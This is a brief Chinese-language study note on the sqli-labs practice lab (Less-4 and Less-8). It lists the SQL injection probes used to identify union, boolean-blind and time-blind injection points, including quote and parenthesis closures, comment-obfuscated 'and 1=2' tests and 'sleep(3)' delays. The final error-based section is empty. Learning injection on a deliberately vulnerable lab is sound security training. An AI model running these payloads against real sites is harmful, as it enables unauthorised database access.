sqlilabs (判断注入类型)

1.联合注入：

Less-4

?id=2' 正常

?id=2  正常

?id=2) 正常

?id=2"    ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

所以：'"2"") LIMIT 0,1'  --》 "2"") LIMIT 0,1 --》("id")

?id=2") order by 3 --+  等等等

2.布尔盲注：

http://localhost/sqlilabs/Less-8/

        ?id=1 正常

        ?id=1 and/**/1=2正常

        ?id=1' and /**/1=2 不正常，判断为布尔注入，注入点为id，闭合符号为'

3.时间盲注

http://localhost/sqlilabs/Less-8/

        ?id=1 正常

        ?id=1 and/**/1=2正常

        ?id=1' and /**/1=2 正常

        ?id=1" and sleep(3) --+ 正常，闭合符号不对

        ?id=1' and sleep(3) --+延时，延时注入

4.报错注入